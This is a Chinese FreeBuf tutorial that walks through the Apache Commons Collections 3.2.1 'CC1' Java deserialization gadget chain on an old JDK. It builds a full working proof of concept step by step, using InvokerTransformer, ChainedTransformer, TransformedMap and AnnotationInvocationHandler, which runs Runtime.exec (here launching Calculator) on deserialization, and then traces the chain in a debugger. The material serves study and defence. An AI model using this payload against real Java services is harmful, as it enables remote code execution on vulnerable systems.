freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CC1链——全网最菜的分析思路
2024-09-11 15:33:05

1 你必须知道的点

1.1 反序列化利用链的起点是readObject()方法

Java的序列化机制允许将对象的状态保存到一个字节流中,之后可以从这个字节流中恢复(或“反序列化”)出对象。这个过程中,ObjectInputStream类负责读取这些字节流,并尝试根据包含的类型信息重新创建对象。为了支持复杂对象和自定义类型,Java提供了自定义反序列化过程的能力,这通常通过重写readObject()方法来实现。

也就是说我们可以通过在将要被序列化或反序列化的类中定义readObject方法,来实现自定义的反序列化操作,当然前提是,被序列化的类必须有此方法,并且方法的修饰符必须是private。

序列化则自定义writeObject方法。

ObjectInputStream读取到一个可序列化的对象时,如果该类定义了readObject()方法,则会调用该方法来完成反序列化过程。因此,如果readObject()方法中存在不安全或未经验证的代码(如直接反序列化用户控制的数据),那么就会执行内部的代码,那么它就可能成为反序列化利用链的起点。

一句话总结就是:如果一个类自定义了readObject()方法,则该类在反序列化时就会调用该方法完成反序列化过程,如果该方法中存在“恶意代码”,也会执行。所以,自定义了readObject()方法的类就是我们寻找的入口点。


反序列化利用链形象比喻一下~

  • eadObject为反序列化入口点。

  • 些方法存在命令执行的可能性。

  • 反序列化利用链就是需要将readObject及存在命令执行的方法联系在一起。

  • 就像走迷宫,readObject为入口,存在命令执行的方法为出口,从入口到出口就形成了一条链(利用链)。

  • 我们在找链的时候,就可以从两个方面找,从入口或者出口找,或者两头并进。

1.2 回顾反射执行系统命令

直接执行命令:

String[] command = {"open","-a","/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Runtime.getRuntime().exec(command);

反射执行命令:

Class clazz = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
runtime.exec("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator");

1.3 相关类の功能简单介绍

提前了解下,后面分析时不晕!!

1.3.1 InvokerTransformer类

  • InvokerTransformer类在实例化时,赋值iMethodName、iParamTypes和iArgs。

  • 使用InvokerTransformer对象调用transform()方法,会以反射的方式执行任意方法。

举个例子:

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);

上述内容,相当于执行了:

Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform()内部执行了
Class cls = runtime.getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
return method.invoke(runtime, new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});

会通过反射方式执行弹出计算器操作。

1.3.2 ChainedTransformer类

  • ChainedTransformer类在实例化时,会传入Transformer[]数组,并将值transformers赋值给iTransformers

  • 使用ChainedTransformer对象调用transform()方法,会挨个执行transformers数组元素transformertransform()方法,其参数为传入的object对象。

  • 也就是说,单独执行transformer.transform()和将transformer放入数组中执行ChainedTransformer.transform()效果是一样的。

  • 还有一个非常重要的点:每次循环获得的object会当做参数传给下一个transform(),也就是数组中的transformer是有前后联系的,不是单独的。

1.3.3 ConstantTransformer类

  • ConstantTransformer类在实例化时,会传入一个对象赋值给iConstant属性。

  • ConstantTransformer对象调用transform()方法时,不管传入什么,都将返回一个固定的值,即实例化时传入的对象,即iConstant属性值。

1.3.4 总结一下上述3个类调用transform()方法的不同

上述3个类都实现了Transformer接口,并都重写了transform()方法,因此在调用transform()方法时,会有不同的执行结果。

并且上述3个类都实现了Serializable接口,可被序列化和反序列化。

InvokerTransformer.transform()

  • 以反射方式执行任意方法

ChainedTransformer.transform()

  • 遍历链内部的所有Transformer执行transform()

  • 前一个执行transform()的结果当做后一个transform()方法的参数传入

ConstantTransformer.transform()

  • 返回固定值,值为构造方法传入的参数值

2 CC1链的环境准备

2.1 版本问题

CC1链主要利用的是Apache Commons Collections 3.2.1版本中的一个反序列化漏洞。

CC1链在JDK 8u71及之后的版本中被修复,因此需要使用JDK 8u71之前的版本

JDK下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

这里选择了JDK 8u66

2.2 搭建项目

1)创建一个mevan项目,JDK选择8u66

2)pom.xml添加commons-collections 3.2.1

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

3)准备JDK源码,方便调试

下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载解压之后将文件中的sun目录(具体路径为jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes)放入JDK 8u66的家目录下。

然后在项目中的SDKs中配置sun目录为Classpath,如图。

3 CC1链分析

3.1 InvokerTransformer#transform方法

先定位到InvokerTransformer#transform方法。

为什么要定位到这里?因为这个方法是CC1的执行恶意命令的位置。

前辈们怎么发现的这里?(猜测:)用的多了就发现了...(这里就是前面所说的迷宫的出口)。

可以发现transform方法,接收一个Object参数,然后对该Object通过反射获取其类对象,然后获取其方法对象,之后invoke调用该方法。涉及的核心代码为59-61行,如下:

这里明显就是通过反射调用传递进来的对象的某个方法来执行~

这里面涉及到几个参数

  • this.iMethodName:反射使用的方法名(方法名)

  • this.iParamTypes:反射使用的方法的参数类型列表(参数类型)

  • this.iArgs:被调用方法的参数列表(参数值)

这几个参数都是this.开头的,所以是由该类InvokerTransformer的构造函数赋予其值的。

找一下构造函数:

有了这些,我们就可以简单写一下利用代码:(来打开本地计算器)

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);

这里是可以执行命令的,但是这样还不行,因为我们最终需要找到readObject()方法处,也就是反序列时执行readObject()方法,进而自动执行transform()方法才行。

也就是:后面的代码不能使用invokerTransformer.transform(runtime);方式调用transform了。

接下来需要找一下哪个位置有调用transform()方法:选中方法,右击-“Find Usages”可查看方法的调用情况

这里有个小坑:如果“Find Usages”查询不到,需要将commons-collections 3.2.1的sources包下载下来,如果下载不了,可以手动下载导入。

我们需要寻找不同名字调用的transform()方法,如果是transform 再调用 transform 是没有意义的(无限循环了),因为我们最后的目标是要回到readObject() 中。

这里看到TransformedMap中有部分方法调用了transform()方法,点进去看一看,以checkSetValue方法为例:

3.2 TransformedMap#checkSetValue方法

这里有两个问题需要解决:

  • 1)checkSetValue方法是protected修饰的,无法直接调用,需要找到调用该方法的位置

  • 2)方法中是valueTransformer调用的transform()方法,所以需要知道valueTransformer怎么来的

也就是:如果能够调用checkSetValue方法,并且存在valueTransformer,transform()会自动触发。

3.2.1 valueTransformer的获取

我们先解决第2个问题,找一下valueTransformer怎么来的:

Ctrl+左键找到valueTransformer的赋值位置

是TransformedMap的构造方法赋值的,但是该方法是protected修饰

问题又来了,既然是protected修饰的,那如何实例化TransformedMap的?这里肯定有别的方式调用了该构造方法(protected修饰:只有同一个包中的类可以访问)。那就找一下,在当前类中搜索一下

发现存在一个静态方法decorate()实例化了TransformedMap,触发构造方法。

好!那么简单的流程就出来了:

  • 调用decorate静态方法→TransformedMap实例化→触发TransformedMap构造方法→valueTransformer的赋值

接下来,看一下decorate()方法的参数需要什么:1个Map,2个Transformer。

  • 其中decorate()方法的第3个参数比较重要,因为第三个参数赋值给了this.valueTransformer,valueTransformer去调用了transform方法,这里和之前的代码联系起来,即之前写的invokerTransformer.transform(runtime);能够触发执行恶意代码,因此这里第3个参数的值也就明了了,即传入invokerTransformer,这样最终还会执行invokerTransformer.transform(runtime);这段代码。

  • map传递给了父类,跟下去会发现,不能为空,那就随便创建一个Map传进去。

  • 第1个Transformer还不知道具体作用,先传入null,后面用到再说。

那我们可以将之前的利用代码修改如下:

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform(runtime);  // 这里不能再用了(前面有原因介绍)
Map map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// 到此还不行,仅仅调用decorate只是给valueTransformer赋了值,transform还没有被触发
// 想触发transform,需要调用checkSetValue(由3.1中最后一张图可知)

问题:decorate方法的第3个参数为什么传递要进入InvokerTransformer实例

  • 第1:decorate方法的第3个参数为valueTransformer,valueTransformer的值是Transformer类型,而InvokerTransformer实现了Transformer接口,所以InvokerTransformer实例化出来的对象也属于Transformer类型,因此InvokerTransformer实例符合此处的类型。

  • 第2:第3个参数valueTransformer最终是调用了transform方法,即传入InvokerTransformer,会执行invokerTransformer.transform(runtime);进而能够出发恶意代码

3.2.2 checkSetValue方法的调用

同样,回到TransformedMap类,通过Find Usages查看一下checkSetValue方法的调用

只有一个结果,即在AbstractInputCheckedMapDecorator.MapEntry#setValue中有调用

可以看到,要想控制checkSetValue()方法的调用,需要控制setValue()方法调用,包含value值的传入,并且需要一个“parent”。

  • setValue怎么调用?

  • 传入的“value”是什么?

  • “parent”怎么获取?

3.2.2.1 传入的“value”是什么?

从前面的一路追溯下来,这个传入的“value”,最终会作为参数传递给transform()方法。

传入的过程如下,这里用A代表该值

setValue(A)-->checkSetValue(A)-->transform(A)

所以这里还是传入runtime,才能执行恶意代码。

3.2.2.2 setValue怎么调用?

这里有两个思路:

  1. 创建对象来调用

  2. 搜索setValue方法的调用栈

根据链子要求,第一种方式“创建对象来调用”不符合要求,因为这样不会涉及到readObject()。不过没关系,先用第一种方式试一下,目的是为了测试调用setValue()会不会触发最后的命令执行。

  • 当然,答案是可以的!这部分也可以忽略不看,但建议看一下帮助理解。

1)创建对象的方式调用setValue()方法

先分析一下过程:

想调用checkSetValue方法,需要调用AbstractInputCheckedMapDecorator内部类MapEntry对象的setValue()方法;

需要有一个MapEntry对象,怎么得到这个对象?

通过搜索 new MapEntry,发现需要EntrySetIterator对象的next()方法

EntrySetIterator对象怎么来?实例化呗!

同样搜索new EntrySetIterator,发现需要EntrySet对象的iterator()方法

EntrySet对象怎么来?实例化呗!

同样搜索new EntrySet,发现需要AbstractInputCheckedMapDecorator对象的entrySet()方法

但是AbstractInputCheckedMapDecorator是抽象,无法实例化对象,因此需要找子类对象来调用该entrySet()方法(注意:不是子类重写的entrySet()方法,这是不一样的)。

Ctrl+左键点下AbstractInputCheckedMapDecorator类查看下:

发现这里有一个子类TransformedMap(前面遇到过)。

刚好,自己写的代码中已经得到了transformedMap,直接调用即可(注意:这里不是调用TransformedMap中的entrySet(),调的还是父类的,子类调父类)

调用transformedMap.entrySet()会得到EntrySet对象

再调用iterator()方法会得到EntrySetIterator对象

再调用next()方法会得到MapEntry对象

再调用setValue()方法即会触发checkSetValue()方法的调用

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);

哦?45行报错了,原因其实很简单,因为transformedMap调用这些方法,其实是为了遍历传入的map的元素(TransformedMap.decorate(map, null, invokerTransformer)中的map)

而在next()时发现,没有元素,所以报错了,解决方法就是put一个元素即可。修改一下代码:

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
 map.put("key","value"); 
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);

执行一下,发现可以成功执行到setValue(runtime),进而触发checkSetValue()方法的调用,命令执行成功。

上面这个过程,可以使用for循环来代替(其实这里就是map的遍历过程)

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

//        System.out.println(transformedMap.entrySet().getClass());
//        System.out.println(transformedMap.entrySet().iterator().getClass());
//        System.out.println(transformedMap.entrySet().iterator().next().getClass());
//        transformedMap.entrySet().iterator().next().setValue(runtime);

// 上面这个过程,可以使用for循环来代替(其实这里就是map的遍历过程)
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
    entry.setValue(runtime);
}

上面调用setValue是我们创建对象调的,但是还不行,咱们要找readObject,反序列化时自动调用 。

这里只是演示:调用setValue是可以执行命令的。

2)搜索setValue方法的调用栈

通过Find Usages查看一下setValue方法的调用

发现这里存在一个AnnotationInvocationHandler#readObject方法中有调用(当然还有其他的)。等等,readObject方法,并且是private修饰!?这不正式我们要找的“入口点”嘛!

也就是说,我们实例化一个AnnotationInvocationHandler对象,然后序列化之后得到字节流,然后反序列化就会执行readObject其中的代码,进而执行其中的setValue方法,形成闭环!

点进去看一下:

AnnotationInvocationHandler的构造函数中需要两个参数,一个Annotation的类,一个Map。

什么是Annotation的类?

Annotation是注解,就是我们平时用的@Override、@Test、@Target这些,而为了通用性,我们用一个jdk自带的,比如@Override。

这个Map(memberValues)比较重要,由代码可知,memberValues内部的每一个entry会被遍历出来:memberValues.entrySet(),并调用其setValue:memberValue.setValue()

但是Map和其每一个entry又有什么用?随意一个都行?还是必须是特定的?这里得说一下:

  • 代码中memberValue.setValue()setValue()不就是前面分析的MapEntry类中的setValue()嘛;

  • transformedMap.entrySet()遍历之后,执行entry.setValue(runtime);会执行恶意代码;而这里memberValues.entrySet()遍历之后,执行memberValue.setValue()。这里很明显格式是一样的。

也就是说,只需要让transformedMap等于memberValues就可以实现恶意代码执行。

怎么做呢?这里需要看一下memberValues怎么赋值的:

可以看到,是通过AnnotationInvocationHandler的构造函数赋值,所以在实例化AnnotationInvocationHandler对象时,传入transformedMap即可。

并且可以发现AnnotationInvocationHandler类没有被修饰,即default类型,所以没办法通过名称来获取,只能通过反射获取。

因此,反射这个类的示例代码大概如下:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);

将代码合并一下,得到:

@Test
public void test3() throws Exception {
    InvokerTransformer invokerTransformer = new InvokerTransformer(
            "exec",
            new Class[]{String.class} ,
            new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
    Runtime runtime = Runtime.getRuntime();

    HashMap map = new HashMap();
    map.put("key","value");

    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object obj = constructor.newInstance(Override.class, transformedMap);

    serialize(obj);  // 序列化
    unserialize("ser1.bin");  // 反序列化
}

//序列化方法
public static void serialize(Object object) throws Exception {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
    oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
    objectInputStream.readObject();
}

上面加上了序列化和反序列测试代码,方便测试。

执行以下,发现并没有成功。

其实这里面还是有很多问题的,比如明面上可以看出来的:

  • runtime对象好像闲置了,并没有用上!

ok,不管runtime,先打个断点,调试一下~

  • 在unserialize("ser1.bin")处打断点进去就行,主要看反序列化过程:

  • 调试过程就不演示了,如果想看,后面有完整的调试过程。

在调试到AnnotationInvocationHandler类的readObject()方法的if (memberType != null) 处时发现进不去if语句内部,那跟别提执行内部的setValue了。

什么原因呢?很明显,因为memberType为空!

接下来分析下memberType怎么来的:

从上面看到

memberType的值和下面三行代码有关

annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);

其中type参数是AnnotationInvocationHandler构造方法传进来的,这个不就是我们代码中反序列化创建AnnotationInvocationHandler对象时写的Override.class吗!

难道和Override有关?是的!这三个语句其实就是从注解之后获取对应的属性,如果有则会进if,没有则进不去。(这里先不进去调试看了,文章后面专门整一部分调试这段代码)

而这个@Override是没有的

那换个有的,比如@Target注解,其中有个value。

改写代码如下,只是在之前的基础上把Override.class修改成了Target.class

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
map.put("key","value");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance( Target.class , transformedMap);

serialize(obj);
unserialize("ser1.bin");

重新调试下,看是否可行,调试下来发现,还是不行,原来memberType还是为null

再分析下,原来上面语句是通过get(name)获取,而name是我们反射实例化AnnotationInvocationHandler对象时传入的map元素的key值,而我们执行的是map.put("key","value"),key值为“key”,而@Target注解中有名为“key”的属性吗?并没有,只有一个value。

所以解决方法也简单,map.put时放入一个key为“value”的即可,value任意,比如

map.put("value","I am leyilea!");

代码修改如下:

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
 map.put("value","I am leyilea!"); 

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

重新调试下,发现可以正常进入if语句,并且能够成功执行memberValue.setValue()方法。

但是这里也有些问题,memberValue.setValue()的参数是什么?我们在前面分析得知,memberValue.setValue()需要传入runtime才行,即memberValue.setValue(runtime)

而这里setValue()的参数为AnnotationTypeMismatchExceptionProxy类型对象,且不可控。

那runtime对象该怎么传进去呢?

并且还有另一个问题,大家有没有想过:(说的可能有点绕,好好理解下)

我们想传入的是 runtime对象,而我们现在是在进行反序列化的调试,想要runtime对象传递进去,肯定是在反序列化之前就进去了 ,也就是在生成对象的时候就放进去了。

那问题来了,即使我们在生成对象时放进去了,runtime对象也无法序列化,导致最终的对象也无法序列化!

所以,这个问题就是runtime对象无法被序列化!

这个其实好解决,runtime对象无法序列化,但是class可以序列化,所以可以使用反射:

  • Runtime没有实现Serializable

  • Class有实现Serializable

反射创建一个runtime对象:

// Runtime runtime = Runtime.getRuntime();
Class aClass = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);

?????? 逗我呢??? 这不还是一个runtime,还是传不进去,即使传进去了,也无法序列化!

所以得有一个方式,将上述代码在AnnotationInvocationHandler对象序列化的时候,执行生成runtime对象,而不是提前生成!!

怎么才能在AnnotationInvocationHandler对象序列化的时候,执行上述代码呢?

还记得 InvokerTransformer 的transformer,它不就是能够执行任意方法嘛!然后返回一个invokerTransformer对象,传给TransformedMap.decorate()就能执行了 。

那我们可以将上述的代码改写一下:(忘记的可以回到前面看一下写法)

  • 注意Class aClass = Runtime.class改写不了~

Class aClass = Runtime.class;

InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method getRuntime = (Method)invokerTransformer1.transform(aClass);

InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime runtime = (Runtime)invokerTransformer2.transform(getRuntime);

这???不还是这样??? 发现绕不开这个runtime 对象

那我直接执行呢?把exec 执行代码的InvokerTransformer加上

Class aClass = Runtime.class;

InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method getRuntime = (Method)invokerTransformer1.transform(aClass);

InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime runtime = (Runtime)invokerTransformer2.transform(getRuntime);

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
invokerTransformer.transform(runtime);

上述这段代码,运行是可以执行命令的(注意:只有这段就行,不用带后面未展示的代码)

Ok!!! 运行可以执行命令,但是,这样也不行啊,transform不能自己调用啊,又回去了!!!

嘿嘿!这不就是之前的东西嘛,利用 TransformedMap.decorate!!

上面一共调用了三次 transform,难道这里调用3次 TransformedMap.decorate

没关系,有救!!! 有没有发现 前面的调用有一个规律,第1个的结果是 第2个的 参数,依次都是!!!!

这刚好符合 ChainedTransformer 链式调用的特点,刚好可以改成 ChainedTransformer方式 (忘记的,回去看一看) 。

改写下代码:

  • 这里就不用执行transform()方法了,想执行也执行不了。

  • 这里只是生成一下ChainedTransformer 链

Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class} ,
                new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

这里其实可以将chainedTransformer传进去,传进去之后,会调用chainedTransformer.transform() ,

这个时候,会调用ChainedTransformer的transform()方法,即遍历transform并执行不同transform的transform()方法。(ChainedTransformer类特点忘记的,回去看下咯)

OK ! 将TransformedMap.decorate(map, null, invokerTransformer)修改成TransformedMap.decorate(map, null, chainedTransformer)

此时的完整代码是:

Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class} ,
                new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null,  chainedTransformer );

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

结果还是不能执行代码,很明显,上面的aClass没有用到,它需要传递给TransformerArray第一个元素的transform()方法当参数!

想这样做的话,需要有一个transform放到链中,并且输出结果必须是Runtime.class。

刚好有一个transform类:ConstantTransformer类,它的transform方法,可以返回一个常量,即构造ConstantTransformer对象时传入的值 。(ConstantTransformer类特点忘记的,回去看!)

OK ! 代码改写如下:

Transformer[] TransformerArray = new Transformer[]{
        // 搞定!!!!!,其实这里还间接解决了 runtime对象无法传入的问题!后面调试时分析
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class} ,
                new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

反序列化时成功执行命令!

3.2.2.3 “parent”怎么获取?

在这里可以看到,parentMapEntry类的构造方法传入,而MapEntry类是static修饰的,为静态内部类。

那我们就看一下在哪个位置有实例化MapEntry,直接Ctrl+左键看一下,有3个位置实例化了,

3个都看一下,发现最终都到了EntrySet类,而该类的实例化在entrySet方法上。

这里实例化传入的this就是前面所说的parent,而this表示的就是调用该entrySet方法的对象,谁调用就是谁。

而要调用entrySet方法,则需要一个AbstractInputCheckedMapDecorator类的实例

但是我们发现,AbstractInputCheckedMapDecorator类时抽象类(abstract修饰)。也就是说需要其子类实例化来调用了~

可以点击一下前面的“标识”看一下子类:

发现有一个“TransformedMap”,这好像又回去了!不过没关系!这不是刚刚好,TransformedMap类的实例对象不正是前面所说的transformedMap,具体参考之前写的代码,即下面这行:

Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

也就是说,使用transformedMap去调用entrySetthis就是transformedMap对象本身,也就是我们所找的parent

4 动态调试

4.1 进入反序列化readObject()

objectInputStream.readObject()开始进入反序列化

调用AbstractInputCheckedMapDecorator()构造方法

并调用其父类AbstractMapDecorator()构造方法

返回到AbstractInputCheckedMapDecorator()

调用TransformedMap类的readObject()方法

这里没什么,其中map为“value -> I am Leyilea!”

执行AnnotationInvocationHandler类的readObject()方法

  • readObject()方法for循环前面的过程略过,不重要

  • 其中memberValues大小为1,内容为 put进入的HashMap:value

4.2 遍历TransformedMap(memberValues)

  • TransformedMap元素为HashMap:value-->I am leyilea!

  • 这里和整个利用链关系不大,可以略过(其实就是map的遍历拿entry的过程)

调用AbstractInputCheckedMapDecoratorentrySet()方法

进入EnteySet()构造函数

  • 其中parent为TransformMap:value -> I am Leyilea!

结束回到AbstractInputCheckedMapDecoratorentrySet()方法return

调用AbstractInputCheckedMapDecorator的子类MapEntryiterator()方法

进入AbstractInputCheckedMapDecorator的子类EntrySetIteratorEntrySetIterator()构造方法

进入父类AbstractIteratorDecoratorAbstractIteratorDecorator()构造方法

  • 将HashMap对象的Entryitarator对象赋值给itarator

返回到AbstractInputCheckedMapDecorator的子类EntrySetIteratorEntrySetIterator()构造方法

返回到AbstractInputCheckedMapDecorator的子类MapEntryiterator()方法

调用AbstractIteratorDecorator类的hasNext()方法

调用AbstractInputCheckedMapDecorator的子类EntrySetIteratornext()方法

进入AbstractInputCheckedMapDecorator的子类MapEntryMapEntry()构造方法

进入父类AbstractMapEntryDecorator的构造方法

  • 赋值entry

返回到AbstractInputCheckedMapDecorator的子类MapEntryMapEntry()构造方法

返回到AbstractInputCheckedMapDecorator的子类EntrySetIteratornext()方法

4.3 拿到TransformedMap(memberValues)的第一个entry后的代码

返回到AnnotationInvocationHandler类的readObject()方法的for循环内部

代码步骤如下

  • 获取entry的key:value

  • 通过key获取类型:注解类型

  • 判断类型是不是为空

  • 不为空进入

  • 获取entry的key对应的值:I am Leyilea!

  • 判断(value不是memberType的类型) 或者 (value是ExceptionProxy的实例)

  • 进入

4.4 进入利用链触发点【核心逻辑】

4.4.1 memberValue.setValue()

执行memberValue.setValue()

  • memberValue为TransformedMap(memberValues)的第一个entry

进入AbstractInputCheckedMapDecorator的子类MapEntrysetValue()方法

触发checkSetValue()方法

4.4.2 checkSetValue()

进入TransformMapcheckSetValue()方法

  • 其中传入的对象value为AnnotationTypeMismatchExceptionProxy对象(这个是无法控制的,不过不影响)

  • valueTransformerChainedTransformer,元素为4个,即1个ConstantTransformer、3个InvokerTransformer。

注意:不同的transformer会调用不同的**transform()**

4.4.3 ChainedTransformer.transform()

调用ChainedTransformertransform()方法

4.4.3.1 ConstantTransformer.transform()

第1个ConstantTransformer.transform()

  • 返回class java.lang.Runtime

4.4.3.2 InvokerTransformer.transform()

第2个InvokerTransformer.transform()

  • 参数为class java.lang.Runtime

  • 返回public static java.lang.Runtime java.lang.Runtime.getRuntime()

4.4.3.3 InvokerTransformer.transform()

第3个InvokerTransformer.transform()

  • 参数为public static java.lang.Runtime java.lang.Runtime.getRuntime()

  • 返回Runtime对象

4.4.3.4 InvokerTransformer.transform()

第4个InvokerTransformer.transform()

  • 参数为Runtime对象

  • 返回UNIXProcess对象

4.4.3.5 代码执行

返回之后,弹计算器

返回到TransformedMapcheckSetValue()方法

